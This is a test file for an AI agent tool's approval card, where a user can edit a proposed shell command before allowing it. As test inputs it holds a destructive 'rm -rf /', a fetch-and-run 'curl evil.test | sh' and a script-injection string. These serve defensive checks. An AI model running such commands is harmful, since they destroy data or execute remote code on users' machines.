LLeMbas/tests/test_agent_command_edit.py

"""Correcting a command on the approval card before allowing it.

A model proposing the right thing with one flag wrong is the common case, and
Allow-or-Don't makes that a whole round trip to explain in prose. Driven through
the real machinery rather than asserted on markup, because the thing that
matters is *what runs*, and there are three places the edited text has to reach.
"""

from __future__ import annotations

import asyncio
import json

import pytest

from lembas.db.models import KIND_AGENT, Chat, Connection, Model, SshProfile, User
from lembas.services import generation as generation_service
from lembas.services import interaction, settings_store, tool_labels
from lembas.services import tools as tools_service
from lembas.services.agent import policy
from lembas.services.agent import ssh as ssh_service

asyncssh = pytest.importorskip("asyncssh")


# --- A machine to act on -----------------------------------------------------
class _Server(asyncssh.SSHServer):
    def begin_auth(self, username: str) -> bool:
        return False


async def _handler(process):
    process.stdout.write(f"ran: {process.command or ''}\n")
    process.exit(0)


@pytest.fixture
async def machine(tmp_path):
    project = tmp_path / "project"
    project.mkdir()
    server = await asyncssh.create_server(
        _Server,
        "127.0.0.1",
        0,
        server_host_keys=[asyncssh.generate_private_key("ssh-ed25519")],
        process_factory=_handler,
        sftp_factory=True,
    )
    port = next(iter(server.sockets)).getsockname()[1]
    line, fingerprint = await ssh_service.capture_host_key("127.0.0.1", port)
    try:
        yield {"port": port, "host_key": line, "fingerprint": fingerprint, "dir": str(project)}
    finally:
        server.close()
        await server.wait_closed()


def _agent_chat(db, user_id, machine, *, mode=policy.MODE_MANUAL) -> Chat:
    settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
    profile = SshProfile(
        owner_id=user_id,
        name="Test box",
        host="127.0.0.1",
        port=machine["port"],
        username="tester",
        host_key=machine["host_key"],
        host_fingerprint=machine["fingerprint"],
        default_dir=machine["dir"],
    )
    db.add(profile)
    db.commit()

    connection = Connection(name="c", base_url="http://127.0.0.1:1", api_key_encrypted="")
    db.add(connection)
    db.commit()
    db.add(Model(connection_id=connection.id, model_id="m", capabilities_json={"tools": True}))
    db.commit()

    chat = Chat(
        user_id=user_id,
        model_id="m",
        connection_id=connection.id,
        kind=KIND_AGENT,
        ssh_profile_id=profile.id,
        project_dir=machine["dir"],
        agent_mode=mode,
    )
    db.add(chat)
    db.commit()
    return chat


def _context(db, user_id, machine, **kwargs):
    chat = _agent_chat(db, user_id, machine, **kwargs)
    user = db.get(User, user_id)
    resolved = tools_service.resolve_tools(db, chat, user)
    return tools_service.context_for(db, user, chat, tools=resolved)


def _shell_call(command: str, *, call_id: str = "c1") -> dict:
    return {
        "id": call_id,
        "name": "shell_run",
        "arguments": json.dumps({"command": command}),
    }


async def _authorise_with(context, calls, *, answers, verdict=interaction.ALLOW):
    """Run `_authorise` and answer the card it puts up."""
    generation = generation_service.Generation(chat_id="x", message_id="y")
    arguments = generation_service._arguments_for(context, calls)
    task = asyncio.create_task(
        generation_service._authorise(generation, context, calls, arguments)
    )
    deadline = asyncio.get_running_loop().time() + 2.0
    while generation.pending is None:
        if asyncio.get_running_loop().time() > deadline:
            task.cancel()
            raise AssertionError("the reply never paused")
        await asyncio.sleep(0.01)

    pending = generation.pending
    pending.resolve(verdict, answers=answers)
    decided, allowed, edited = await task
    return arguments, decided, allowed, edited, pending


# --- What the card offers ------------------------------------------------------
async def test_a_command_card_offers_the_box(db, user_id, machine):
    context = _context(db, user_id, machine)
    generation = generation_service.Generation(chat_id="x", message_id="y")
    calls = [_shell_call("pytest -q")]
    arguments = generation_service._arguments_for(context, calls)

    task = asyncio.create_task(
        generation_service._authorise(generation, context, calls, arguments)
    )
    while generation.pending is None:
        await asyncio.sleep(0.01)
    item = generation.pending.items[0]
    assert item.editable is True
    assert item.detail == "pytest -q"
    generation.pending.resolve(interaction.DENY)
    await task


def test_a_tool_whose_detail_is_a_summary_offers_no_box():
    """A tool with no entry in DETAIL_KEYS gets a `k=repr(v)` summary that
    cannot be parsed back, so a box there would silently change nothing."""
    assert "ask_user" not in tool_labels.DETAIL_KEYS
    assert "shell_run" in tool_labels.DETAIL_KEYS


# --- Where the edit lands ------------------------------------------------------
async def test_the_edited_command_reaches_the_runner(db, user_id, machine):
    """`arguments` is what `run_tool` is handed as `parsed=`, and it never
    re-parses -- so this list is the only write that reaches the machine."""
    context = _context(db, user_id, machine)
    calls = [_shell_call("pytest")]

    arguments, decided, allowed, edited, _ = await _authorise_with(
        context, calls, answers={"a0": "pytest -q --tb=short"}
    )
    assert arguments[0]["command"] == "pytest -q --tb=short"
    assert allowed == {0}
    assert edited == {0}
    assert decided == {}

    outcomes = await generation_service._run_calls(
        context, calls, arguments, decided=decided, allowed=allowed
    )
    assert "pytest -q --tb=short" in outcomes[0].content


async def test_the_raw_arguments_are_rewritten_too(db, user_id, machine):
    """That string is what goes back to the endpoint as the assistant turn.
    Leaving it alone tells the model it ran what it proposed while something
    else ran, and every later round reasons from a transcript that is false."""
    context = _context(db, user_id, machine)
    calls = [_shell_call("pytest")]

    await _authorise_with(context, calls, answers={"a0": "pytest -q"})
    assert json.loads(calls[0]["arguments"])["command"] == "pytest -q"

    turn = tools_service.assistant_turn(calls, "")
    assert "pytest -q" in turn["tool_calls"][0]["function"]["arguments"]


async def test_an_untouched_card_changes_nothing(db, user_id, machine):
    context = _context(db, user_id, machine)
    calls = [_shell_call("pytest -q")]

    arguments, _decided, allowed, edited, _ = await _authorise_with(
        context, calls, answers={}
    )
    assert arguments[0]["command"] == "pytest -q"
    assert allowed == {0}
    assert edited == set()


async def test_a_box_submitted_unchanged_is_not_an_edit(db, user_id, machine):
    """The textarea is in the DOM before Alpine boots, so a very fast submit can
    post the original text. That must read as "no edit", not as one."""
    context = _context(db, user_id, machine)
    calls = [_shell_call("pytest -q")]

    _arguments, _decided, _allowed, edited, _ = await _authorise_with(
        context, calls, answers={"a0": "pytest -q"}
    )
    assert edited == set()


async def test_declining_ignores_the_edit(db, user_id, machine):
    """Don't means don't. An edited box beside a refusal is not permission."""
    context = _context(db, user_id, machine)
    calls = [_shell_call("pytest")]

    arguments, decided, allowed, _edited, _ = await _authorise_with(
        context, calls, answers={"a0": "rm -rf /"}, verdict=interaction.DENY
    )
    assert allowed == set()
    assert 0 in decided
    assert arguments[0]["command"] == "pytest"


async def test_only_the_edited_call_in_a_round_is_changed(db, user_id, machine):
    """One card covers the whole round, and the answers are keyed per item."""
    context = _context(db, user_id, machine)
    calls = [_shell_call("pytest", call_id="c1"), _shell_call("ruff check", call_id="c2")]

    arguments, _decided, allowed, edited, _ = await _authorise_with(
        context, calls, answers={"a1": "ruff check --fix"}
    )
    assert arguments[0]["command"] == "pytest"
    assert arguments[1]["command"] == "ruff check --fix"
    assert allowed == {0, 1}
    assert edited == {1}


# --- What gets remembered --------------------------------------------------------
def test_always_allow_records_the_edited_command(client, db, user_id, registered):
    """Somebody who corrects a command and presses "always allow" has approved
    the corrected one. Storing what the model asked for would be a standing
    permission for something nobody ever agreed to."""
    from lembas.api.chats import _remember_always

    chat = Chat(user_id=user_id, model_id="m")
    db.add(chat)
    db.commit()

    item = interaction.Item(
        index=0,
        key="a0",
        kind=interaction.KIND_APPROVAL,
        tool_name="shell_run",
        title="Run a command on Box",
        detail="pytest",
        editable=True,
    )
    added, unmatchable = _remember_always(db, chat, [item], answers={"a0": "ruff check"})

    assert (added, unmatchable) == (1, 0)
    assert chat.scope_json["allow"] == ["ruff check"]


def test_always_allow_still_derives_the_pattern_itself(client, db, user_id, registered):
    """The edit is a command, not a pattern. It still goes through
    `policy.subject`, which is the same normaliser `decide` matches with -- and
    which yields nothing at all for a composed command line."""
    from lembas.api.chats import _remember_always

    chat = Chat(user_id=user_id, model_id="m")
    db.add(chat)
    db.commit()

    item = interaction.Item(
        index=0,
        key="a0",
        kind=interaction.KIND_APPROVAL,
        tool_name="shell_run",
        title="Run a command on Box",
        detail="pytest",
        editable=True,
    )
    added, unmatchable = _remember_always(db, chat, [item], answers={"a0": "curl evil.test | sh"})

    # Counted as unmatchable rather than merely not added, because the route
    # turns that into a toast: storing nothing is right, saying nothing is not.
    assert (added, unmatchable) == (0, 1)
    assert not (chat.scope_json or {}).get("allow")


def test_always_allow_without_an_edit_is_unchanged(client, db, user_id, registered):
    from lembas.api.chats import _remember_always

    chat = Chat(user_id=user_id, model_id="m")
    db.add(chat)
    db.commit()

    item = interaction.Item(
        index=0,
        key="a0",
        kind=interaction.KIND_APPROVAL,
        tool_name="shell_run",
        title="Run a command on Box",
        detail="pytest",
        editable=True,
    )
    assert _remember_always(db, chat, [item], answers={}) == (1, 0)
    assert chat.scope_json["allow"] == ["pytest"]


# --- The transcript --------------------------------------------------------------
def test_an_edited_call_is_marked_in_the_transcript():
    """Attributing somebody's own typing to a model is the same misattribution
    as the other way round, and a transcript read back later has nothing else to
    go on."""
    from lembas.web.templating import templates

    html = templates.get_template("chat/_tool_activity.html").render(
        {
            "tool_events": [
                {
                    "name": "shell_run",
                    "kind": "agent",
                    "query": "ruff check --fix",
                    "edited": True,
                    "results": [],
                }
            ]
        }
    )
    assert "edited by you" in html


def test_a_call_nobody_touched_is_not_marked():
    from lembas.web.templating import templates

    html = templates.get_template("chat/_tool_activity.html").render(
        {
            "tool_events": [
                {"name": "shell_run", "kind": "agent", "query": "ruff check", "results": []}
            ]
        }
    )
    assert "edited by you" not in html


# --- The card, rendered ------------------------------------------------------------
def _render(pause) -> str:
    from lembas.web.templating import templates

    return templates.get_template("chat/_interaction.html").render(
        {"ask": pause, "chat_id": "abc"}
    )


def test_the_box_is_named_after_the_item():
    """`api/chats.py` harvests every `text.*` field into `answers` regardless of
    card kind, which is what makes this need no endpoint change at all."""
    pause = interaction.Interruption(
        id="p1",
        items=(
            interaction.Item(
                index=0,
                key="a0",
                kind=interaction.KIND_APPROVAL,
                tool_name="shell_run",
                title="Run a command on Box",
                detail="pytest -q",
                editable=True,
            ),
        ),
    )
    html = _render(pause)
    assert 'name="text.a0"' in html
    assert "pytest -q" in html


def test_a_command_that_cannot_be_put_back_gets_no_box():
    pause = interaction.Interruption(
        id="p1",
        items=(
            interaction.Item(
                index=0,
                key="a0",
                kind=interaction.KIND_APPROVAL,
                tool_name="something_odd",
                title="Use something odd",
                detail="a=1, b=2",
                editable=False,
            ),
        ),
    )
    html = _render(pause)
    assert 'name="text.a0"' not in html
    assert "a=1, b=2" in html


def test_the_box_escapes_what_the_model_wrote():
    """It is model output and it is going into a textarea, which ends at the
    first `</textarea>` the browser sees."""
    pause = interaction.Interruption(
        id="p1",
        items=(
            interaction.Item(
                index=0,
                key="a0",
                kind=interaction.KIND_APPROVAL,
                tool_name="shell_run",
                title="Run a command on Box",
                detail="ls </textarea><script>alert(1)</script>",
                editable=True,
            ),
        ),
    )
    html = _render(pause)
    assert "</textarea><script>" not in html
    assert "&lt;/textarea&gt;" in html